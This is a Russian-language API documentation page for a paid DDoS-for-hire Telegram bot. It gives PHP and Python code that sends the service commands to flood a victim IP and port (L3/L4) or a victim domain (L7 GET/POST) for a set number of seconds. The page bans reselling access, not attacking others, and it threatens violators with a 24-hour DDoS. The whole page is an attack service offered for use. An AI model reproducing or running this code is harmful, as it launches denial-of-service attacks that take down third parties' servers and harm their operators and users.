> For the complete documentation index, see [llms.txt](https://wbot.whost.su/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wbot.whost.su/rabota-s-api-bota/dokumentaciya-api.md).

# Документация API

Для использование API вам нужно купить лицензию бота и получить Token.

Пример кода отправки запросов боту:

* Методы атак можно узнать в боте, прописав команду - `/methods.`
* Узнать ваш **ID** можно, написав команду - `/getid.`
* Чтобы получить **Token**, напишите команду боту - `/token get`.

{% hint style="warning" icon="globe" %}
**API** позволяет отправлять **DDoS-атаки** на указанные цели, работая на сетевом (**L3**) и транспортном (**L4**) уровнях модели **OSI**. Вы можете выбирать тип атаки, задавать параметры и управлять длительностью атаки.
{% endhint %}

{% tabs %}
{% tab title="PHP - Code" %}
{% code title="bot.php" overflow="wrap" fullWidth="true" %}

```php
<?php
    
    //Так же вы можете использовать запрос GET или POST в аргументе ($ddos)
    
    $ddos = isset($_GET['ddos']) ? $_GET['ddos'] : ''; //Аргументы - (start/stop).
    
    if ($ddos == null and $ddos == "") {

        print_R (

            json_encode (

                array (

                    "message" => "Аргумент DDoS пустой или неверный.",

                ),

                JSON_UNESCAPED_UNICODE

            ),

        );

        return false;
    
    }

    $array = [

	 'id' => '0', //Ваш Telegram ID
	 'token' => 'random', //Ваш токен в боте
	 'ddos' => $ddos, //Аргументы - (start/stop).
	 'ip' => '127.0.0.1', //Айпи адрес жертвый
	 'port' => '0', //Порт жертвый
	 'time' => '60', //Время атаки в секундах
	 'method' => 'HOME' //Метод атаки
	
   ];
   
   $ch = curl_init('https://api.whost.su/');
   
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($array, '', '&'));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
   curl_setopt($ch, CURLOPT_HEADER, false);
   curl_setopt($ch, CURLOPT_HTTPHEADER, ['x-api: westalbot']);
   
   $response = curl_exec($ch);
   
   curl_close($ch);
   
   $json_decode = json_decode($response, true);

   $message = $json_decode['message']; //Получить сообщения
   
   #$host = $json_decode['ip']; //Получить айпи куда идёт атака
   #$port = $json_decode['port']; //Получить порт куда идёт атака
   #$time = $json_decode['time']; //Получить время атаки в секундах
   #$method = $json_decode['method']; //Получить метод атаки
   
   if ($json_decode['success'] == true) {
   
      print_R($response);
   
   } else if ($json_decode['success'] == false) {
   
      print_R($message);
   
   } else {
   
      echo("Ошибка: Неверно задан параметр 'success' или не верный ответ.");
   
   }

?>
```

{% endcode %}
{% endtab %}

{% tab title="Python-код" %}
{% code title="bot.py" %}

```python
import requests
import json

def get_ddos_status(ddos: str):
    if not ddos or ddos.strip().lower() not in ['start', 'stop']:
        return json.dumps(
            {"message": "Аргумент DDoS пустой или неверный. Используйте start или stop."},
            ensure_ascii=False,
            indent=2
        )
        
    payload = {
        'id': '0', # Ваш Telegram ID
        'token': 'random', # Ваш токен в боте
        'ddos': ddos.strip().lower(), # start или stop
        'ip': '127.0.0.1', # IP жертвы
        'port': '0', # Порт
        'time': '60', # Время атаки в секундах
        'method': 'HOME' # Метод атаки
    }

    headers = {
        'x-api': 'westalbot',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    try:
        response = requests.post(
            'https://api.whost.su/',
            data=payload,
            headers=headers,
            timeout=30
        )
        
        if response.status_code != 200:
            return f"Ошибка HTTP: {response.status_code}\n{response.text}"

        json_decode = response.json()

        if json_decode.get('success') is True:
            return response.text

        elif json_decode.get('success') is False:
            return json.dumps({
                "message": json_decode.get('message', 'Неизвестная ошибка'),
                "method": json_decode.get('method')
            }, ensure_ascii=False, indent=2)

        else:
            return "Ошибка: Неверный формат ответа от API (параметр 'success' отсутствует)."

    except requests.exceptions.RequestException as e:
        return f"Ошибка соединения: {str(e)}"
    except json.JSONDecodeError:
        return "Ошибка: Сервер вернул невалидный JSON."

if __name__ == "__main__":
    ddos = input("Введите аргумент DDoS (start/stop): ").strip()
    result = get_ddos_status(ddos)
    print(result)
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% hint style="info" %}
***Запрещено использовать API DDoS в продаже на других сайтах или скриптах.***
{% endhint %}

{% hint style="warning" %}
**API** позволяет отправлять атаки на прикладном уровне (**L7**) модели **OSI**. Такие атаки имитируют легитимный пользовательский трафик, но с целью исчерпать ресурсы серверного **ПО** (CPU, память, соединения с БД), обойти кеширование или вызвать сбои в работе приложений.
{% endhint %}

{% tabs %}
{% tab title="PHP - Code" %}
{% code title="bot.php" overflow="wrap" fullWidth="true" %}

```php
<?php
    
    //Так же вы можете использовать запрос GET или POST в аргументе ($ddos)
    
    $ddos = isset($_GET['ddos']) ? $_GET['ddos'] : ''; //Аргументы - (web/stop).
    
    if ($ddos == null and $ddos == "") {

        print_R (

            json_encode (

                array (

                    "message" => "Аргумент DDoS пустой или неверный.",

                ),

                JSON_UNESCAPED_UNICODE

            ),

        );

        return false;
    
    }

    $array = [

	 'id' => '0', //Ваш Telegram ID
	 'token' => 'random', //Ваш токен в боте
	 'ddos' => $ddos, //Аргументы - (web/stop).
	 'domain' => 'example.com', //Домен жертвый
	 'protocol' => 'GET', //Протокол атаки - (GET/POST)
	 'time' => '60' //Время атаки в секундах
	
   ];
   
   $ch = curl_init('https://api.whost.su/');
   
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($array, '', '&'));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
   curl_setopt($ch, CURLOPT_HEADER, false);
   curl_setopt($ch, CURLOPT_HTTPHEADER, ['x-api: westalbot']);
   
   $response = curl_exec($ch);
   
   curl_close($ch);
   
   $json_decode = json_decode($response, true);

   $message = $json_decode['message']; //Получить сообщения
   
   #$domain = $json_decode['domain']; //Получить домен куда идёт атака
   #$time = $json_decode['time']; //Получить время атаки в секундах
   #$method = $json_decode['method']; //Получить метод атаки
   
   if ($json_decode['success'] == true) {
   
      print_R($response);
   
   } else if ($json_decode['success'] == false) {
   
      print_R($message);
   
   } else {
   
      echo("Ошибка: Неверно задан параметр 'success' или не верный ответ.");
   
   }

?>
```

{% endcode %}
{% endtab %}

{% tab title="Python-код" %}
{% code title="bot.py" %}

```python
import requests
import json

def get_ddos_status(ddos: str):
    if not ddos or ddos.strip().lower() not in ['web', 'stop']:
        return json.dumps(
            {"message": "Аргумент DDoS пустой или неверный. Используйте web или stop."},
            ensure_ascii=False,
            indent=2
        )
        
    payload = {
        'id': '0', # Ваш Telegram ID
        'token': 'random', # Ваш токен в боте
        'ddos': ddos.strip().lower(), # web или stop
        'domain': 'example.com', # Домен жертвы
        'protocol': 'GET', # Протокол (GET/POST)
        'time': '60' # Время атаки в секундах
    }

    headers = {
        'x-api': 'westalbot',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    try:
        response = requests.post(
            'https://api.whost.su/',
            data=payload,
            headers=headers,
            timeout=30
        )
        
        if response.status_code != 200:
            return f"Ошибка HTTP: {response.status_code}\n{response.text}"

        json_decode = response.json()

        if json_decode.get('success') is True:
            return response.text

        elif json_decode.get('success') is False:
            return json.dumps({
                "message": json_decode.get('message', 'Неизвестная ошибка'),
                "method": json_decode.get('method')
            }, ensure_ascii=False, indent=2)

        else:
            return "Ошибка: Неверный формат ответа от API (параметр 'success' отсутствует)."

    except requests.exceptions.RequestException as e:
        return f"Ошибка соединения: {str(e)}"
    except json.JSONDecodeError:
        return "Ошибка: Сервер вернул невалидный JSON."

if __name__ == "__main__":
    ddos = input("Введите аргумент DDoS (web/stop): ").strip()
    result = get_ddos_status(ddos)
    print(result)
```

{% endcode %}
{% endtab %}
{% endtabs %}

> **\[!] - Наказание:**
>
> * Удаляем из базы бота,
> * Добавляем в чёрный список ваш IP адрес и ID телеграмма,
> * Отправляем атаку на вас на 24 часа.

{% hint style="warning" %}
***Запрещено выдавать данный код за свой или же продавать доступ к боту от своего лица. Все транзакции должны быть строго перенаправлены разработчику бота***
{% endhint %}
